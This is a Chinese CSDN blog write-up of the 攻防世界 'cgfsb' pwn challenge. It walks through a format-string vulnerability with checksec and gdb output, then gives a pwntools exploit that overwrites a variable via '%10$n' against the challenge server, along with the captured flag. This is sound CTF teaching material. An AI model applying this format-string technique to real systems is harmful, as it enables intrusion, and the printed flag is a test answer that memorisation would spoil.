

攻防世界 pwn cgfsb writeup

原创

PLpa_ 于 2019-07-06 21:23:05 发布 1625 收藏 5

文章标签: [pwn 格式化字符串漏洞](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_43986365/article/details/94896862

版权

攻防世界pwn——cgfsb

这一题是关于格式化字符串漏洞的题，是一个单一漏洞题，不需要太多的绕过。

拿到题目首先查看一下保护：

```
root@kali:~/pwn# checksec cgfsb
[*] '/root/pwn/cgfsb'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

可以看到，这是一个32位的程序。

并且开启了Canary保护和NX保护。

我们看一下IDA：

进入IDA，按下F5可以得到伪C代码：

```
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
}
else
{
    puts("Thank you!");
}
```

可以看到有一个格式化漏洞printf (&s)，我们可以通过这条语句把pwnme的值改为8，就可以的到flag了。

打开gdb，查看pwnme的偏移：

首先下一个断点：

下到printf () 那里：

```
Reading symbols from cgfsb...(no debugging symbols found)...done.
(gdb) b *0x080486b5
Breakpoint 1 at 0x80486b5
```

```
(gdb) r
Starting program: /root/pwn/cgfsb
please tell me your name:
aaaa
leave your message please:
aaaa

Breakpoint 1, 0x080486b5 in main ()
(gdb) x/16wx $esp
0xffffd2a0: 0x080487f5 0xffffd2be 0xf7fa95c0 0xffffd30c
0xffffd2b0: 0xf7ffdab0 0x00000001 0xf7fcd410 0x61610001
0xffffd2c0: 0x000a6161 0x00000000 0x61616161 0x0000000a
0xffffd2d0: 0x00000000 0x00000000 0x00000000 0x00000000
```

查看我们输入的参数位置在第10位，从零开始，数到箭头位置是第十位。（a的ASCII码的16进制为0x61）

知道了偏移，下面就是构造exp了。

exp如下：

```
#!/usr/bin/env python
from pwn import *
#p=process('./cgfsb')
p=remote('111.198.29.45',36477)
pwnme_addr=0x0804A068
p.sendlineafter("name:\n",'a'*8)
p.sendlineafter("message please:\n",p32(pwnme_addr)+'a'*4+'%10$n')
print p.recvall()
print p.recvall()
```

pwnme的地址可以在IDA中查看。

然后就运行exp就可以了。

```
root@kali:~/pwn# python exp2.py
[+] Opening connection to 111.198.29.45 on port 36477: Done
[+] Receiving all data: Done (120B)
[*] Closed connection to 111.198.29.45 port 36477
hello aaaaaaaa
your message is:
h\xa0\xa0aaaa
you pwned me, here is your flag:

cyberpeace{13a8f92ad85f7a7287504fe806c193f0}

[+] Receiving all data: Done (0B) https://blog.csdn.net/qq\_43986365
```



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)